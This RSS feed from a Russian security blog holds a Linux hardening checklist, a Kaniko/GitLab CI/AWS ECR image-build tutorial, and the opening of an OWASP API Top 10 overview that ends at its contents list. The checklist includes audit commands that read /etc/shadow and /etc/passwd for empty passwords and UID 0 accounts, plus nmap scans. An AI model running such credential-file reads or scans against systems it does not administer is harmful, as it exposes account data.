<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>@bh_cat</title><generator>teletype.in</generator><description><![CDATA[@bh_cat]]></description><image><url>https://img1.teletype.in/files/01/d1/01d19c04-a36c-4fa1-b9f0-d7ad3489f9e7.png</url><title>@bh_cat</title><link>https://teletype.in/@bh_cat</link></image><link>https://teletype.in/@bh_cat?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=bh_cat</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/bh_cat?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/bh_cat?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Wed, 22 Apr 2026 15:53:47 GMT</pubDate><lastBuildDate>Wed, 22 Apr 2026 15:53:47 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@bh_cat/KSNUzY5yN1e</guid><link>https://teletype.in/@bh_cat/KSNUzY5yN1e?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=bh_cat</link><comments>https://teletype.in/@bh_cat/KSNUzY5yN1e?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=bh_cat#comments</comments><dc:creator>bh_cat</dc:creator><title>Linux hardening aka закалка для пингвина</title><pubDate>Wed, 13 Sep 2023 08:26:57 GMT</pubDate><tt:hashtag>blueteam</tt:hashtag><description><![CDATA[Данный материал по большей части будет представлять собой чек-лист, который можно и нужно использовать при развертывании и настройке систем, основанных на Debian/Ubuntu или CentOS/RHEL.]]></description><content:encoded><![CDATA[
  <p id="aInX">Данный материал по большей части будет представлять собой чек-лист, который можно и нужно использовать при развертывании и настройке систем, основанных на Debian/Ubuntu или CentOS/RHEL.</p>
  <p id="RJeG"></p>
  <h2 id="kLd5">Оглавление</h2>
  <ol id="lhZM">
    <li id="IuJd"><a href="#7zJx">Шифрование передачи данных</a></li>
    <li id="gvyk"><a href="#tblx">Избегай того, чтобы использовать FTP, Telnet, Rlogin/Rsh сервисов</a></li>
    <li id="Gc5I"><a href="#Uoc1">Минимизируй количество установленного ПО, чтобы минимизировать риски</a></li>
    <li id="l8qH"><a href="#oVsb">Одна сетевая служба на систему или экземпляр ВМ</a></li>
    <li id="sAQe"><a href="#Twcc">Обновляйся</a></li>
    <li id="h59y"><a href="#dJTc">Учетные записи юзверей Linux и строгая парольная политика</a></li>
    <li id="8Nzd"><a href="#Ifws">Включи ограничение по времени  использования паролей пользователей Linux для повышения безопасности</a></li>
    <li id="zOyW"><a href="#fGPh">Ограничение использования старых паролей в Linux</a></li>
    <li id="acIf"><a href="#HDcq">Фильтруй учетки без пароля</a></li>
    <li id="0M4V"><a href="#XeKI">Никто, кроме root, не имеет UID 0</a></li>
    <li id="kHfL"><a href="#QmeV">Отключи авторизацию под root</a></li>
    <li id="YK9F"><a href="#Jnwh">Отключи ненужные службы</a></li>
    <ol id="2RDE">
      <li id="vbeF"><a href="#wIEQ">По поводу дистрибутивов и служб Linux использующих systemd</a></li>
    </ol>
    <li id="8MiK"><a href="#nac1">Физическая защита</a></li>
    <li id="sJKA"><a href="#MC87">Отслеживай прослушиваемые порты</a></li>
  </ol>
  <p id="RvNg"></p>
  <h2 id="7zJx">Шифрование передачи данных</h2>
  <p id="rVxb">Все данные, передающиеся по сети, открыты для мониторинга. По возможности данные <strong>необходимо </strong>шифровать с использованием паролей/сертификатов.</p>
  <ol id="Qne7">
    <li id="4eCd">Используйте scp, ssh, rsync или sftp для передачи файлов. Также можно примонтировать файловую систему, которая является удаленным сервером или же Вашей домашней директорией. Реализуется это, например, через sshfs;</li>
    <li id="aB75">GnuPG позволяет шифровать и подписывать ваши данные и сообщения, имеет универсальную систему управления ключами, а также модули доступа ко всем видам каталогов открытых ключей;</li>
    <li id="Q4Xy">OpenVPN - это экономичная, легкая SSL VPN. Другой вариант - попробовать tinc, который использует туннелирование и шифрование для создания защищенной сети между узлами в Интернете или же незащищенной локальной сети;</li>
    <li id="sOYO">При использовании веб-сервера (NGinx, Apache, Lighttpd), то и к нему будет не лишним прикрутить сертификатик.</li>
  </ol>
  <p id="Rf9H"></p>
  <h2 id="tblx">Избегай того, чтобы использовать FTP, Telnet, Rlogin/Rsh сервисов</h2>
  <p id="5NoZ">В большинстве сетевых конфигураций имена пользователей, пароли, команды FTP/telnet/rsh и передаваемые файлы могут быть перехвачены любым пользователем, находящимся в той же сети, с помощью сниффера. Общим решением этой проблемы является использование OpenSSH, SFTP или FTPS (FTP over SSL), которые добавляютшифрование к FTP. </p>
  <p id="giaw">Введите следующую команду yum для удаления NIS, rsh и других устаревших служб:</p>
  <p id="n0v6"><code>yum erase xinetd ypserv tftp-server telnet-server rsh-server</code></p>
  <p id="vvLx">Если вы используете Debian/Ubuntu, то для удаления небезопасных служб: используйте:</p>
  <p id="DY1s"><code>sudo apt-get --purge remove xinetd nis yp-tools tftpd atftpd tftpd-hpa telnetd rsh-server rsh-redone-server</code></p>
  <p id="xHtU"></p>
  <h2 id="Uoc1">Минимизируй количество установленного ПО, чтобы минимизировать риски</h2>
  <p id="NqqR">Никому ведь из нас не нужен весь набор установленного ПО. Поэтому не стоит устанавливать <s>все игры</s> ПО, которое Вам не потребуется. <s>Нет человека - нет проблем</s> Нет бесполезного ПО - нет уязвимостей в этом ПО.</p>
  <p id="DGfF">Для проверки и удаления нежелательных пакетов с yum:</p>
  <p id="vGjO"><code>yum list installed</code></p>
  <p id="4Jmi"><code>yum list packageName</code></p>
  <p id="Jkcw"><code>yum remove packageName</code></p>
  <p id="ebPy">Для проверки и удаления нежелательных пакетов с apt-get/dpkg:</p>
  <p id="AGVY"><code>dpkg --list</code></p>
  <p id="mLf1"><code>dpkg --info packageName</code></p>
  <p id="2GNZ"><code>apt-get remove packageName</code></p>
  <h2 id="BHce"></h2>
  <h2 id="oVsb">Одна сетевая служба на систему или экземпляр ВМ</h2>
  <p id="o20d">Запускайте различные сетевые службы на отдельных серверах или экземплярах виртуальных машин. Это ограничивает количество других сервисов, которые могут быть скомпрометированы. </p>
  <p id="xyrf">Если злоумышленник скомпрометировал веб-сервер, то будет неловко, если он скомпрометирует еще и БД, которая крутилась на этом же сервере.</p>
  <p id="GZvL"></p>
  <h2 id="Twcc">Обновляйся</h2>
  <p id="hxI1">Применение патчей безопасности является важной частью сопровождения Linux-систем. Linux предоставляет все необходимые средства для поддержания системы в актуальном состоянии, а также позволяет легко переходить с одной версии на другую. Все обновления безопасности должны быть просмотрены и применены как можно скорее.</p>
  <p id="ITar">yum:</p>
  <p id="Cmyt"><code>yum update </code></p>
  <p id="fFgj">Debian/Ubuntu</p>
  <p id="3hyP"><code>apt-get update &amp;&amp; apt-get upgrade</code></p>
  <p id="zQDT"></p>
  <h2 id="dJTc">Учетные записи юзверей Linux и строгая парольная политика</h2>
  <p id="zZPq">Для создания и поддержки учетных записей пользователей используйте команды useradd / usermod. Убедитесь в том, что у вас надежная парольная политика. Например, хороший пароль должен состоять не менее чем из 8 символов, а вообще лучше не менее 12 и включать в себя сочетание букв, цифр, специальных символов, верхнего и нижнего алфавита и т.д. Самое важное - выбрать пароль, который можно запомнить.</p>
  <p id="xuc2"></p>
  <h2 id="Ifws">Включи ограничение по времени  использования паролей пользователей Linux для повышения безопасности</h2>
  <p id="3O6W">Команда chage изменяет количество дней между сменой пароля и дату последней смены пароля. Эта информация используется системой для определения того, когда пользователь должен сменить свой пароль. Файл /etc/login.defs определяет конфигурацию теневого набора паролей для конкретного сайта, включая настройку старения паролей.</p>
  <p id="ITgG">Чтобы узнать информацию об истекающих паролях:<br /><code>chage -M 99999 userName</code></p>
  <p id="zMGd">Ну или на худой конец Вы можете редактировать /etc/shadow вручную в соответствии со значениями:</p>
  <pre id="gGsa">{userName}:{password}:{lastpasswdchanged}:{Minimum_days}:{Maximum_days}:{Warn}:{Inactive}:{Expire}:</pre>
  <p id="9U53">Где:</p>
  <ol id="7rhR">
    <li id="4pSm">Minimum_days: Минимальное количество дней, необходимое для смены пароля, т.е. количество дней, оставшихся до того, как пользователю будет разрешено сменить пароль;</li>
    <li id="2bKi">Maximum_days: Максимальное количество дней, в течение которых действует пароль (после чего пользователь будет вынужден сменить пароль);</li>
    <li id="G5lA">Warn : Количество дней до истечения срока действия пароля, за которые пользователь будет предупрежден о необходимости смены пароля;</li>
    <li id="LKsu">Expire : Количество дней с 1 января 1970 года, когда учетная запись отключена, т.е. абсолютная дата, определяющая, когда логин больше не может быть использован.</li>
  </ol>
  <p id="4Qpq">Но я был не рекомендовал этим заниматься, а сделать по-человечески:</p>
  <p id="mQZI"><code>chage -M 60 -m 7 -W 7 userName</code></p>
  <p id="d6CJ"></p>
  <h2 id="fGPh">Ограничение использования старых паролей в Linux</h2>
  <p id="VyV7">В Linux можно запретить всем пользователям использовать одни и те же старые пароли. Параметр модуля pam_unix remember может быть использован для настройки количества предыдущих паролей, которые не могут быть использованы повторно.</p>
  <p id="BUo1"></p>
  <h2 id="HDcq">Фильтруй учетки без пароля</h2>
  <p id="7fq5">Нехорошо, когда в системе есть пользователь без собственного пароля, поэтому стоит таковых отсеивать:</p>
  <p id="fM1e"><code>awk -F: &#x27;($2 == &quot;&quot;) {print}&#x27; /etc/shadow</code></p>
  <p id="qNH8"><code>passwd -l accountName</code></p>
  <p id="K0wu"></p>
  <h2 id="XeKI">Никто, кроме root, не имеет UID 0</h2>
  <p id="vInY">По хорошему только root может иметь UID 0 с полным доступом. Чтобы отобразить все учетки, имеющие UID 0:</p>
  <p id="113v"><code>awk -F: &#x27;($3 == &quot;0&quot;) {print}&#x27; /etc/passwd</code></p>
  <p id="klCg">В идеале Вы должны увидеть только следующее:</p>
  <pre id="F7Dz">root:x:0:0:root:/root:/bin/bash</pre>
  <p id="RU5r">Если Вы увидите учетные записи помимо root, то удалите их, либо же убедитесь, что данные учетные записи могут использовать UID 0.</p>
  <p id="ncL9"></p>
  <h2 id="QmeV">Отключи авторизацию под root</h2>
  <p id="iCGn">Авторизация в систему под root не нужна, как и работа в системе от учетной записи root&#x27;a. Если для работы необходимы права суперпользователя, то используй sudo. Это поможет обезопасить систему и позволит не делиться с другими пользователями и администраторами паролем от root. А можно ведь еще и прикрутить уведомления на использование sudo.</p>
  <p id="PxbA"></p>
  <h2 id="Jnwh">Отключи ненужные службы</h2>
  <p id="W5Sb">Все службы и демоны, которые не нужны в работе, стоит убрать из автозапуска. Чтобы посмотреть, что запускается на третьем уровне загрузки:</p>
  <p id="lwjJ"> <code>chkconfig --list | grep &#x27;3:on&#x27;</code></p>
  <p id="w0FT">А чтобы отключить:</p>
  <p id="RmbC"><code>service serviceName stop </code></p>
  <p id="GBOj"><code>chkconfig serviceName off</code></p>
  <p id="uFT3"></p>
  <h3 id="wIEQ">По поводу дистрибутивов и служб Linux использующих systemd</h3>
  <p id="P8rK">Для всего описанного выше современные в дистрибутивах с systemd используется systemctl. Например, чтобы выведите список служб, в котором перечислены уровни выполнения, на которых каждая из них настроена на включение или выключение:</p>
  <p id="7WGA"><code>systemctl list-unit-files --type=service </code></p>
  <p id="y6V4"><code>systemctl list-dependencies graphical.target</code></p>
  <p id="tEsT">Для отключения служб при загрузке:</p>
  <p id="tLiD"><code>systemctl disable service </code></p>
  <p id="fSIl"><code>systemctl disable httpd.service</code></p>
  <p id="8f61">Посмотреть логи служб всегда поможет journalctl:</p>
  <p id="U1XX"><code>journalctl -u network.service </code></p>
  <p id="nbFf"><code>journalctl -u ssh.service </code></p>
  <p id="qcxF"><code>journalctl -f </code></p>
  <p id="1hOJ"><code>journalctl -k</code></p>
  <p id="iHXg"></p>
  <h2 id="nac1">Физическая защита</h2>
  <p id="n6ri">Необходимо защитить физический консольный доступ к Linux-серверам. Настройте BIOS и отключите загрузку с внешних устройств, таких как DVD/CD/USB-носители. Установите пароль на BIOS и загрузчик grub для защиты. Сервер в серверный шкаф, шкаф в помещение, к которому доступ имеет только ограниченный список лиц. </p>
  <p id="quWW"></p>
  <h2 id="MC87">Отслеживай прослушиваемые порты</h2>
  <p id="Kbaq">Для получения списка всех открытых портов и связанного с ними ПО используйте:<br /><code>netstat -tulpn</code></p>
  <p id="gLJ0"><code>ss -tulpn</code></p>
  <p id="o6DS"><code>nmap -sT -O localhost </code></p>
  <p id="2U98"><code>nmap -sT -O server.example.com</code></p>
  <p id="iy4m"></p>
  <p id="nPXp">Ну, как мне кажется, это самое основное, что необходимо при hardening&#x27;е Linux-систем. Разумеется, можно сделать куда больше. Но это уже вопрос к тому, кто как и на совесть ли выполняет свою работу.</p>
  <p id="GoJN"></p>
  <p id="1S2E">4rchi</p>
  <p id="lf8g">tg - <a href="https://t.me/bh_cat" target="_blank">https://t.me/bh_cat</a></p>
  <tt-tags id="o3KO">
    <tt-tag name="blueteam">#blueteam</tt-tag>
  </tt-tags>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@bh_cat/9GeFQhwtf06</guid><link>https://teletype.in/@bh_cat/9GeFQhwtf06?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=bh_cat</link><comments>https://teletype.in/@bh_cat/9GeFQhwtf06?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=bh_cat#comments</comments><dc:creator>bh_cat</dc:creator><title>Создание образов Docker, без Docker, с использованием Kaniko + Gitlab CI и AWS</title><pubDate>Wed, 13 Sep 2023 10:50:13 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/6b/d1/6bd1ca66-5bd0-4fb6-962d-bb172c636191.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/4c/b2/4cb2c0d4-0704-4849-a588-b0906d60b4e8.png"></img>Kaniko - это инструмент для создания образов контейнеров из Dockerfile внутри контейнера или кластера Kubernetes.]]></description><content:encoded><![CDATA[
  <figure id="sOsJ" class="m_original">
    <img src="https://img1.teletype.in/files/4c/b2/4cb2c0d4-0704-4849-a588-b0906d60b4e8.png" width="800" />
  </figure>
  <p id="dREK">Оглавление </p>
  <ul id="sMXN">
    <li id="dHnY"><strong><a href="#i2Yk">Почему Kaniko?</a></strong></li>
    <ul id="0vZ9">
      <li id="LLCC"><strong><a href="#xjxq">Что такое Kaniko?</a></strong></li>
      <li id="msq2"><strong><a href="#gLxa">Как работает Kaniko?</a></strong></li>
    </ul>
    <li id="nzhU"><strong><a href="#aD9T">Пример использования</a></strong></li>
    <ul id="4JTj">
      <li id="l7IA"><strong><a href="#8bh5">Шаг за шагом</a></strong></li>
    </ul>
    <li id="Teqm"><strong><a href="#2ML3">Заключение</a></strong></li>
    <li id="QkVW"><strong><a href="#8eLl">Советы</a></strong></li>
  </ul>
  <p id="DEq0"></p>
  <h2 id="i2Yk"><strong>Почему Kaniko?</strong></h2>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="QgUK">&quot;Что не имеет рук, но может постучаться в вашу дверь, и вам лучше открыть, если это произойдет?&quot; - <a href="https://quotecatalog.com/communicator/edward-nygma-the-riddler" target="_blank">Эдвард Нигма / Загадочник</a></p>
    <p id="wvyI">Хотите узнать ответ? Пожалуйста, продолжайте читать эту статью, и вы узнаете далее... LOL.</p>
  </section>
  <p id="kSPi">Kaniko решает две проблемы, связанные с методом сборки Docker-in-Docker:</p>
  <ol id="uNiy">
    <li id="w3ah">Docker-in-Docker требует привилегированного режима для работы, что представляет собой значительную проблему с точки зрения безопасности.</li>
    <li id="Cwzo">Docker-in-Docker обычно снижает производительность и может быть довольно медленным.</li>
  </ol>
  <p id="LqBc">Прежде чем продолжить, позвольте мне рассказать вам, что такое Kaniko и как он работает.</p>
  <h3 id="xjxq">Что такое Kaniko?</h3>
  <p id="yAUZ">Kaniko - это инструмент для создания образов контейнеров из Dockerfile внутри контейнера или кластера Kubernetes. Kaniko не зависит от демона Docker и выполняет каждую команду в Dockerfile полностью в пользовательском пространстве. Это позволяет создавать образы контейнеров в средах, в которых нельзя легко или безопасно запустить демон Docker, таких как стандартный кластер Kubernetes.</p>
  <p id="8PqA">Коротко говоря, Kaniko позволяет вам создавать и загружать образы в кластере Kubernetes без каких-либо особых привилегий или разрешений и собирать их из Dockerfile без доступа к Docker Daemon. Это фантастический инструмент, потому что теперь нам больше не нужен Docker Daemon для создания образов контейнеров.</p>
  <h3 id="gLxa">Как работает Kaniko?</h3>
  <p id="nQ4d">Образ-исполнитель Kaniko отвечает за создание образа из Dockerfile и его отправку в реестр. Внутри образа-исполнителя мы извлекаем файловую систему базового образа (образ, указанный в инструкции FROM в Dockerfile). Затем мы выполняем команды из Dockerfile, создавая снимки файловой системы в пользовательском пространстве после выполнения каждой команды. После каждой команды мы добавляем слой измененных файлов к базовому образу (если такие есть) и обновляем метаданные образа.</p>
  <figure id="JdjV" class="m_retina">
    <img src="https://img3.teletype.in/files/28/9f/289fb451-1b00-4ad7-ac5c-f8fe88be0324.gif" width="717.5" />
  </figure>
  <p id="X3uL">Известные проблемы:</p>
  <ul id="uLJJ">
    <li id="dduh">Kaniko не поддерживает создание Windows-контейнеров.</li>
    <li id="42v1">Запуск Kaniko в любом образе Docker, кроме официального образа Kaniko, не поддерживается (то есть это может работать нестабильно).</li>
    <li id="rwVI">Это включает в себя копирование исполняемых файлов Kaniko из официального образа в другой образ Docker.</li>
    <li id="b2f2">Kaniko не поддерживает v1 Registry API (<a href="https://engineering.docker.com/2019/03/registry-v1-api-deprecation/" target="_blank">Устаревший API реестра v1</a>).</li>
  </ul>
  <p id="nluY">Вы можете узнать больше подробностей о Kaniko <a href="https://github.com/GoogleContainerTools/kaniko" target="_blank">здесь</a>.</p>
  <p id="s4il">Теперь, когда вы знаете, что такое Kaniko и как он работает, я покажу вам пример использования, в котором я расскажу, как его настроить с использованием Gitlab CI для создания образов Docker и их отправки в ECR (AWS Elastic Container Registry).</p>
  <p id="2moj"></p>
  <h2 id="aD9T">Пример использования</h2>
  <p id="AkoW">Я покажу вам сценарий, в котором мы используем:</p>
  <ul id="mo1v">
    <li id="A61m">AWS Elastic Container Registry для хранения образов Docker,</li>
    <li id="cGtX">Gitlab CI для автоматизации процесса создания контейнерных образов,</li>
    <li id="jexx">Gitlab Runners, запущенные внутри кластера Kubernetes (EKS),</li>
    <li id="zCzh">Инструмент Kaniko, который будет отвечать за создание Docker-образа на основе Dockerfile.</li>
  </ul>
  <p id="3vva">Учитывая, что мы запускаем Gitlab Runner в кластере EKS, первое, что нам нужно сделать, это повысить разрешения IAM-роли, используемой Gitlab Runner.</p>
  <p id="3htv">Если вы не знакомы с Gitlab CI или Gitlab Runners, пожалуйста, ознакомьтесь с этими подробностями:</p>
  <ul id="KsPQ">
    <li id="1hTf"><a href="https://about.gitlab.com/stages-devops-lifecycle/" target="_blank">Gitlab CI</a></li>
    <li id="JVcK"><a href="http://Gitlab%20Runner" target="_blank">Gitlab Runner</a></li>
  </ul>
  <p id="5CFL"></p>
  <h3 id="8bh5">Шаг за шагом</h3>
  <p id="oejk">Пройдите пошаговую инструкцию, необходимую для настройки Kaniko для создания и загрузки образов в ECR с помощью конвейера Gitlab CI:</p>
  <p id="R0DR"><strong>Шаг 1</strong>. Добавьте следующую политику ECR для каждого репозитория, в котором будут храниться образы, созданные с помощью Kaniko:</p>
  <figure id="usfQ" class="m_original">
    <img src="https://img3.teletype.in/files/eb/93/eb93d033-14c9-4f24-8766-2cffb66792b4.png" width="669" />
  </figure>
  <p id="jLbb"><a href="https://gist.githubusercontent.com/rdemoraes/bff88d2fcfba50073a6597b78616f680/raw/3d00365d571e6c840273076daaf92f4109365546/ecr-policy.json" target="_blank">Ссылка на код</a></p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="wQqD">В строках 9, 10 и 11 вы можете видеть, что мы предоставляем разрешение на Push и Pull образов для трех ролей IAM, и в строках 29 и 30 мы разрешаем двум учетным записям AWS Pull образов.</p>
  </section>
  <p id="U6YE"></p>
  <p id="Stjl"><strong>Шаг 2</strong>. В этом сценарии наши Gitlab Runners используют роль IAM, позволяющую Kaniko выполнять Push в ECR без аутентификации. Поэтому нам нужно присоединить следующую политику IAM к роли IAM:</p>
  <p id="DqtC"><a href="https://docs.aws.amazon.com/AmazonECR/latest/userguide/security-iam-awsmanpol.html#security-iam-awsmanpol-AmazonEC2ContainerRegistryPowerUser" target="_blank">AmazonEC2ContainerRegistryPowerUser</a></p>
  <p id="ZVw0">Эта политика включает следующие разрешения:</p>
  <ul id="3ldD">
    <li id="Yued"><code>ecr</code> – Позволяет принципалам читать и записывать в репозитории, а также читать политики жизненного цикла. Принципалам не предоставляется разрешение на удаление репозиториев или изменение применяемых к ним политик жизненного цикла.</li>
  </ul>
  <p id="bQ0q">Шаг 3. Создание Dockerfile:</p>
  <p id="tGox">В этом примере мы собираемся создать Dockerfile для установки Terraform и Terragrunt:</p>
  <figure id="j83e" class="m_original">
    <img src="https://img3.teletype.in/files/e0/ea/e0ea00e2-3da2-49f8-984b-80919c0c46b6.png" width="679" />
    <figcaption>файл слишком большой, так что оставляю ссылку</figcaption>
  </figure>
  <p id="4MLK"><a href="https://gist.githubusercontent.com/rdemoraes/7f311ecf43528c9d2f497b6774267d9f/raw/5b73d225f934c4212f5d1f8dfe8652c580fa45e5/Dockerfile-for-terraform-and-terragrunt" target="_blank">Ссылка на код</a></p>
  <p id="dmBT"><strong>Шаг 4</strong>. Настройте файл Gitlab CI (<code>.gitlab-ci</code>) в корневом каталоге вашего репозитория:</p>
  <p id="6xTu">Учитывая, что мы собираемся создать образ с установленными Terraform и Terragrunt, вы увидите некоторые переменные, специфичные для создания этого образа, например, <code>TF_VERSION </code>и <code>TG_VERSION</code>.</p>
  <figure id="fgQP" class="m_original">
    <img src="https://img2.teletype.in/files/1a/e6/1ae60ef2-26c0-45c8-8250-f760091af45f.png" width="682" />
  </figure>
  <p id="xdHt"><a href="https://gist.githubusercontent.com/rdemoraes/7f311ecf43528c9d2f497b6774267d9f/raw/5b73d225f934c4212f5d1f8dfe8652c580fa45e5/Dockerfile-for-terraform-and-terragrunt" target="_blank">Ссылка на код</a></p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="IAHi">ЗАМЕЧАНИЯ:</p>
    <p id="ejLT">Ключевые слова, определенные здесь в этом конвейере:</p>
    <p id="IMHa">На строке 1 мы определили этапы этого конвейера. В данном случае у нас будет только этап Build.</p>
    <p id="czor">С 5-й по 10-ю строку у нас есть следующие переменные:</p>
    <p id="SDvC">CONTAINER_REGISTRY: адрес ECR в регионе, который мы используем</p>
    <p id="WqF1">IMAGE_NAME: имя репозитория ECR</p>
    <p id="0QiX">IMAGE_TAG: тег, который Kaniko создаст, в данном случае мы используем <a href="https://docs.gitlab.com/ee/ci/variables/predefined_variables.html" target="_blank">предопределенную переменную</a>.</p>
    <p id="DWT0">TF_VERSION: версия клиента Terraform.</p>
    <p id="s2o9">TG_VERSION: версия клиента Terragrunt.</p>
    <p id="SisM">CACHE_TTL: срок действия в часах.</p>
    <p id="Y2Kh">С 12-й по 22-ю строку мы определили шаблон (также известный как Gitlab Anchors для скриптов. <a href="https://docs.gitlab.com/ee/ci/yaml/yaml_optimization.html#yaml-anchors-for-scripts" target="_blank">Подробнее здесь</a>.)</p>
    <p id="7RLq">С 24-й по 35-ю строку у нас есть определение задачи (Job), в котором мы используем:</p>
    <p id="oNRI">На строке 25 мы указали этап, к которому относится эта задача, Build.</p>
    <p id="33Zm">С 27-й по 29-ю строку у нас есть раздел image, где главной строкой является 28-я строка, указывающая имя образа, который мы будем использовать для выполнения задачи. В данном случае рекомендуется использовать образ kaniko debug (gcr.io/kaniko-project/executor:debug), так как в нем есть необходимая оболочка для работы с GitLab Runner. <a href="https://docs.gitlab.com/ee/ci/docker/using_kaniko.html#building-a-docker-image-with-kaniko" target="_blank">Подробнее здесь</a>.</p>
    <p id="c7Wn">На строках 30 и 31 мы определили, как извлекать образы Docker из ECR без аутентификации.</p>
    <p id="ga3Z">На строках 32 и 33 мы определили скрипт, который нужно выполнить в этой задаче. Вы можете видеть, что мы вызываем тот шаблон, который был определен с 12-й по 22-ю строку.</p>
    <p id="hwnL">И на строках 34 и 35 мы контролируем, когда создаются задачи. В данном случае только при событиях push/merge в ветку main.</p>
    <p id="WWjp">Подробнее о ключевых словах .gitlab-ci.yml можно узнать <a href="https://docs.gitlab.com/ee/ci/yaml/" target="_blank">здесь</a>.</p>
  </section>
  <p id="U5Lt"></p>
  <h2 id="2ML3">Заключение</h2>
  <p id="m4jF">Kaniko - это мощный инструмент для создания образов Docker без Docker Daemon. Для тех, кто работает с Gitlab CI, плюсом является поддержка использования Kaniko. Одним из хороших аргументов в пользу использования Kaniko является кеширование:</p>
  <ul id="DqKO">
    <li id="HXQA">cache=true</li>
    <li id="VNqU">cache-repo &lt;ваш-репозиторий-ECR&gt;</li>
  </ul>
  <p id="zhv7">Используя эти два аргумента, вы можете сократить время сборки, потому что Kaniko будет использовать ваш репозиторий ECR для хранения промежуточных слоев образов Docker с целью оптимизации времени сборки.</p>
  <p id="4Jyz"></p>
  <h2 id="8eLl">Советы</h2>
  <p id="Zf7o">Если вы переходите с другого инструмента CI/CD, ознакомьтесь с этой документацией:</p>
  <ul id="ogeS">
    <li id="8zqO"><a href="https://docs.gitlab.com/ee/ci/migration/circleci.html" target="_blank">Миграция с CircleCI</a>.</li>
    <li id="AQXz"><a href="https://docs.gitlab.com/ee/ci/migration/jenkins.html" target="_blank">Миграция с Jenkins</a>.</li>
  </ul>
  <p id="dl9X">Если вы не знакомы с Gitlab CI, пожалуйста, найдите более подробную информацию <a href="https://docs.gitlab.com/ee/ci/quick_start/" target="_blank">здесь</a>.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@bh_cat/Gw1F4GuV_44</guid><link>https://teletype.in/@bh_cat/Gw1F4GuV_44?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=bh_cat</link><comments>https://teletype.in/@bh_cat/Gw1F4GuV_44?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=bh_cat#comments</comments><dc:creator>bh_cat</dc:creator><title>Уязвимости API в новой оболочке</title><pubDate>Wed, 13 Sep 2023 06:39:04 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/1e/0d/1e0deb1e-2f00-4c52-9de0-981ae4fd64a4.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/a3/17/a31757b0-f1a2-481f-bfa3-a70a8fe62266.jpeg"></img>Сегодня речь пойдет об условно новой подборке от OWASP. В наше время API стали неотъемлемой частью современных приложений, и их роль с течением времени только увеличивается. Однако, как и во многих других сферах, технологические новшества продвигаются вперед намного быстрее, чем осознание важности обеспечения их безопасности. Именно поэтому мы считаем необходимым продолжать активно работать над повышением уровня осведомленности о распространенных уязвимостях в сфере безопасности API.]]></description><content:encoded><![CDATA[
  <p id="jun8">Сегодня речь пойдет об условно новой подборке от OWASP. В наше время API стали неотъемлемой частью современных приложений, и их роль с течением времени только увеличивается. Однако, как и во многих других сферах, технологические новшества продвигаются вперед намного быстрее, чем осознание важности обеспечения их безопасности. Именно поэтому мы считаем необходимым продолжать активно работать над повышением уровня осведомленности о распространенных уязвимостях в сфере безопасности API.</p>
  <p id="LqDK">Этот документ о безопасности API был опубликован впервые в 2019 году. С тех пор индустрия безопасности API стала более зрелой и развитой. Мы считаем, что этот документ положительно внёс вклад в индустрию, так как он быстро стал эталоном в этой области.</p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="l1WI">API (Application Programming Interface) - это набор правил и инструкций, которые позволяют разным программам взаимодействовать друг с другом.</p>
    <p id="gGoN">API определяет, какие команды и запросы программы могут отправлять друг другу, какие данные можно получить или передать, и как это делать. Например, соцсети предоставляют API для того, чтобы другие приложения могли загружать ваши</p>
    <p id="5r5n">фотографии или отправлять сообщения без необходимости входа на сайт.</p>
    <p id="Xlnz">Итак, API - это некая «мостовая» для обмена информацией между разными программами, делая ваш компьютерный мир более связанным и функциональным.</p>
  </section>
  <h2 id="G4Ns">Оглавление </h2>
  <ol id="zjpw">
    <li id="VYzH"><a href="#fWZo"><strong>Настройка лаборатории</strong></a></li>
    <li id="0G9E"><a href="#adAQ"><strong>OWASP API Security Top 10</strong></a></li>
    <ol id="iyZl">
      <li id="hc4z"><strong><a href="#ac9c">API1:2023 Broken Object Level Authorization</a></strong></li>
      <li id="1kz4"><strong><a href="#5819">API2:2023 Broken Authentication</a></strong></li>
      <li id="h3Pf"><strong><a href="#35b3">API3:2023 Broken Object Property Level Authorization</a></strong></li>
      <li id="fyar"><strong><a href="#da36">API4:2023 Unrestricted Resource Consumption</a></strong></li>
      <li id="cZ22"><strong><a href="#78d1">API5:2023 Broken Function Level Authorization</a></strong></li>
      <li id="QzPT"><strong><a href="#ac6d">API6:2023 Unrestricted Access to Sensitive Business Flows</a></strong></li>
      <li id="CiAl"><strong><a href="#a1ff">API7:2023 Server Side Request Forgery</a></strong></li>
      <li id="r7Nt"><strong><a href="#72e9">API8:2023 Security Misconfiguration</a></strong></li>
      <li id="c7Ep"><strong><a href="#4a45">API9:2023 Improper Inventory Management</a></strong></li>
      <li id="qOjr"><strong><a href="#dbd7">API10:2023 Unsafe Consumption of APIs</a></strong></li>
    </ol>
    <li id="0Idk"><a href="#KvRD"><strong>Отступление для разъяснений</strong> </a></li>
